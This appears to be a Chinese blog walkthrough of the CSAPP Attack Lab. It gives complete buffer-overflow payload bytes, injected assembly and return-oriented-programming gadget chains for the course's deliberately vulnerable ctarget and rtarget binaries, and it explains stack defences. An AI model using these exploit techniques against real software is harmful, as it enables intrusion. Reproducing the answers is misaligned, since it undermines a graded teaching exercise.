深入理解计算机系统(CSAPP) 实验:attack lab

lab简介

这个lab中包含两个64位的可执行二进制文件。一个可以被 代码注入 code injection 攻击,一个可以被 面向返回编程 return-oriented programming 攻击。我们需要利用这些弱点来攻击它,改变其运行行为。

这个lab的主要目的是帮助我们 了解栈的规则了解buffer overflow的危险

完成lab

第一部分 代码注入攻击(Code Injection Attack)

目标攻击 ctarget 程序,改变其运行行为以满足实验要求!

1.Level1

unsigned getbuf(){
  char buf[BUFFER_SIZE];
  Gets(buf);
  return 1;
}

void test(){
  int val;
  val = getbuf();
  printf("No exploit. Getbuf returned 0x%x\n", val);
}

void touch1(){
  vlevel = 1; /* Part of validation protocol */
  printf("Touch1!: You called touch1()\n");
  validate(1);
  exit(0);
}

函数 getbuf 中的 Gets 函数类似C标准库中的函数 gets 。它从标准输入中读取字符串,当遇到 \n 字符时中止,并且将其存储到指定的 目的地。(字符串后面会加一个 NULL 字符)

Gets 函数没有办法确定 目的地 是否足够容纳读入的字符串,这就是可能产生 buffer overflow 的原因!

反汇编函数 test

test_ass.png

反汇编函数 getbuf

getbuf_ass.png

test和getbuf的栈空间

bt1.png

Gets 函数读取的字符串,将存储到函数 getbuf 的栈空间中。我们可以通过输入合适的字符串,充满 getbuf 的栈空间,并且覆写掉 test 函数栈中的 返回地址, 将 返回地址 替换为函数 touch1 的地址,这样函数 getbufretq 指令执行后,下一条要执行的指令的地址就变成了 touch1 函数的地址。

查看touch1的地址

touch1_ass.png

构造合适的字节序列(16进制表示),写到文件 exploit_rawHexByte_l1.txt 中。

31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
c0 17 40 00 00 00 00 00 

我的机器使用 小端法c0 17 40 00 00 00 00 00 表示的地址就是 0x4017c0

注入合适的字节序列后test和getbuf的栈空间

bt2.png

新的栈空间符合我们的期望,通过 hex2raw 工具来将我们构造的字节序列,生成字符串并写到文件 exploit_string_l1.txt 中。

./hex2raw < exploit_rawHexByte_l1.txt > exploit_string_l1.txt

验证结果:

l1_result.png

level1完成!

2.Level2

void touch2(unsigned val){
  vlevel = 2; /* Part of validation protocol */
  if (val == cookie) {
    printf("Touch2!: You called touch2(0x%.8x)\n", val);
    validate(2);
  } else {
    printf("Misfire: You called touch2(0x%.8x)\n", val);
    fail(2);
  }
    exit(0);
}

反汇编touch2

touch2_ass.png

我们需要把我们的 cookie 值赋给val,即将值设置到 %rdi (通用约定第一个方法参数放入%rdi)。然后调用 touch2 函数。

汇编代码实现 l2.s

movq    $0x59b997fa,%rdi    #set cookie to rdi (param1)
pushq   $0x4017ec           #push touch2 address
ret                         #impl call touch2 (not use call and jump)

0x59b997fa 是我的 cookie 值。

通过汇编代码获取指令字节码

  • 编译汇编文件 l2.s 产生 l2.o
gcc -c l2.s
  • 获取指令字节码
objdump -d l2.o > l2.d
l2.d.png

获得的指令字节码

48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3

我们将 获取的的指令字节码 写到 getbuf 函数的 栈顶。并且修改 test 栈中的返回地址为 getb函数的 栈顶地址,这样就可以调用我们注入的指令了。

构造合适的字节序列(16进制表示),写到文件 exploit_rawHexByte_l2.txt 中。

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

指令填充后test和getbuf的栈空间

bt3.png

同样用 hex2raw 工具来将我们构造的字节序列,生成字符串并写到文件 exploit_string_l2.txt 中。

验证结果:

l2_result.png

level2完成!

3.Level3

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval){
  char cbuf[110];
  /* Make position of check string unpredictable */
  char *s = cbuf + random() % 100;
  sprintf(s, "%.8x", val);
  return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval){
  vlevel = 3; /* Part of validation protocol*/
  if (hexmatch(cookie, sval)) {
    printf("Touch3!: You called touch3(\"%s\")\n", sval);
    validate(3);
  } else {
    printf("Misfire: You called touch3(\"%s\")\n", sval);
    fail(3);
  }
  exit(0);
}

反汇编touch3

touch3_ass.png

本题与 level2 类似,也是需要传入自己的 cookie 。区别在于这里需要传入 cookie 的地址,我们需要把 cookie 的值写入到栈上的某个地方,由于 hexmatch 函数可能会覆写掉 getbuf 栈中的数据。所以我们这里决定,将 cookie 字符串写到 test 函数的栈中。

函数 test 调用 getbuf 之前 %rsp 栈地址是 0x5561dca8 。所以就把 cookie 字符串写到这个位置。

注入的汇编代码

movq    $0x5561dca8,%rdi    #set a address that stored cookie to rdi (param1)
pushq   $0x4018fa           #push touch3 address
ret                         #impl call touch3 (not use call and jump)

cookie字符串的ascii码

0x35 0x39 0x62 0x39 0x39 0x37 0x66 0x61

构造合适的字节序列(16进制表示),写到文件 exploit_rawHexByte_l3.txt 中。

48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61

指令填充后test和getbuf的栈空间

bt3.png

同样用 hex2raw 工具来将我们构造的字节序列,生成字符串并写到文件 exploit_string_l3.txt 中。

验证结果:

l3_result.png

level3完成!

第二部分 面向返回编程 (return-oriented programming)

目标攻击 rtarget 程序,改变其运行行为以满足实验要求!

通过第一部分的代码攻击实验,可以看到 buffer overflow 的漏洞极大的影响了计算机的程序的安全性。通常有以下技术方案可以降低程序被攻击的风险。

  • 栈随机化:栈的地址在每次运行时都是随机变化的。(无法再将攻击代码注入到栈上某个指定的位置了,成功阻止了如第一部分的leve2和leve3那种攻击方式)
  • 栈不可执行:栈上不能执行代码指令。(同样,成功阻止了如第一部分的leve2和leve3那种攻击方式)
  • 栈破坏检查:在栈中局部缓存区前面放置一个状态值,也叫做 金丝雀 ,在使用了缓冲区后检查 金丝雀 的值,如果发现其值发生变更则说明栈被破坏了。(这种保护机制是最强的,从根源上阻止了 buffer overflow 攻击)

rtarget 程序开启了 栈随机化栈不可以执行 这两个保护策略。所以我们需要通过 面向返回编程 来完成第一部分 level2level3 实验,也就是巧妙的利用程序中的 gadget 指令。

什么是gadget指令
gadget 指一段以 ret 指令结尾指令序列。例如,下面的 setval_210 函数就是一段 gadget 指令。

//setval_210 C源码
void setval_210(unsigned* p){
  * p = 3347663060U;
}
//setval_210 指令代码
0000000000400f15 :
    400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
    400f1b: c3 retq

这个部分会用到的指令编码如下

movq.png

popq.png

movl.png

4.part2 Level2

test 函数调用 getbuf 返回时,由于我们无法再像第一部分那用在栈中注入攻击代码。所以需要跳转到合适的 gadget 指令。我们大致需要的指令功能如下:

popq %rax #将cookie弹入 %rax 中
movq %rax,%rdi #将 %rax 的值复制到 %rdi 中,即 touch2 函数中的第一个参数。

获取指令字节码:

指令 指令字节码
popq %rax 58
movq %rax,%rdi 48 89 c7

获取rtarget中可以利用的gadget指令

00000000004019a7 :
  4019a7:   8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
  4019ad:   c3                      retq   

00000000004019b5 :
  4019b5:   c7 07 54 c2 58 92       movl   $0x9258c254,(%rdi)
  4019bb:   c3                      retq   

00000000004019ca :
  4019ca:   b8 29 58 90 c3          mov    $0xc3905829,%eax
  4019cf:   c3                      retq   

这里面我们可以找出需要的 popq %rax 指令,其指令字节码为 58 。故其指令地址可以为如下几种:
0x4019ab 测试通过
0x4019b9 测试未通过(92 指令字节码,可能有特殊含义)
0x4019cc 测试通过

00000000004019a0 :
  4019a0:   8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  4019a6:   c3                      retq   
00000000004019ae :
  4019ae:   c7 07 48 89 c7 c7       movl   $0xc7c78948,(%rdi)
  4019b4:   c3                      retq
00000000004019c3 :
  4019c3:   c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  4019c9:   c3                      retq      

这里面我们可以找出需要的 movq %rax,%rdi 指令,其指令字节码为 48 89 c7 。故其指令地址可以为如下几种:
4019a2 测试通过
4019b0 测试未通过 (c7 指令字节码,可能有特殊含义)
4019c5 测试通过

构造合适的字节序列(16进制表示),写到文件 exploit_rawHexByte_l4.txt 中。

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00   /* popq %rax */
fa 97 b9 59 00 00 00 00   /* cookie */
a2 19 40 00 00 00 00 00   /* movq %rax,%rdi */
ec 17 40 00 00 00 00 00   /* touch2 address */

同样用 hex2raw 工具来将我们构造的字节序列,生成字符串并写到文件 exploit_string_l4.txt 中。

验证结果:

part2_l2.png

第二部分 level2完成!

5.part2 Level3

这里我们同样将 cookie 写到栈中,并将其地址传入 %rdi 寄存器。这里的难点在于栈地址是随机变化的,所以我们这里将计算一个栈地址的相对偏移量。

理想的条件下,我们期望 test 的栈填充如下数据。

cookie 的字节序列
touch3 函数的地址
gadget指令的地址  /* lea 8(%rsp)   ret */

可是 rtarget 程序中可用的 gadget 指令并不包含 lea 8(%rsp) ret
我们需要通过一些可用 gadget 指令组合来实现相应的功能。

movq %rsp,%raxmovq %rax,%rdi 就是挑出的 8 条 gadget 指令用以实现我们需要的功能。(这里每个 gadget 指令的地址获得方式与上面的 part2 level2 完全一样,不再给出详细的获取过程。)

0x59b997fa /* cookie */
0x4018fa   /* touch3 函数的地址 */
0x4019a2  /* movq %rax,%rdi ret*/
0x4019d6  /* lea(rdi,rsi,1),%rax ret*/ 
0x401a13  /* movl %ecx,%esi ret*/
0x401a70  /* movl %edx,%ecx ret*/
0x4019dd  /* movl %eax,%edx ret*/
0x48
0x4019ab  /* popq %rax ret*/
0x4019a2  /* movq %rax,%rdi ret*/
0x401a06  /* movq %rsp,%rax ret*/ 

这里我们需要理解每条 gadget 指令对 %rsp 地址的影响,mov 类型gadget 指令使得 %rsp+8pop 类型gadget 指令使得 %rsp+16

如上 test 栈中,有7条 mov类型 和1条 pop 类型gadget 指令。所以 %rsp 地址增加了 72(0x48)。这也上面 test 栈结构中出现0x48 的原因。

构造合适的字节序列(16进制表示),写到文件 exploit_rawHexByte_l5.txt 中。

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
70 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61

同样用 hex2raw 工具来将我们构造的字节序列,生成字符串并写到文件 exploit_string_l5.txt 中。

验证结果:

part2_l2.png

第二部分 level3完成!

lab资料

Attack Lab [Updated 1/11/16] (README, lab 操作指南, lab 发布记录, lab 下载)

你可能感兴趣的:(深入理解计算机系统(CSAPP) 实验:attack lab)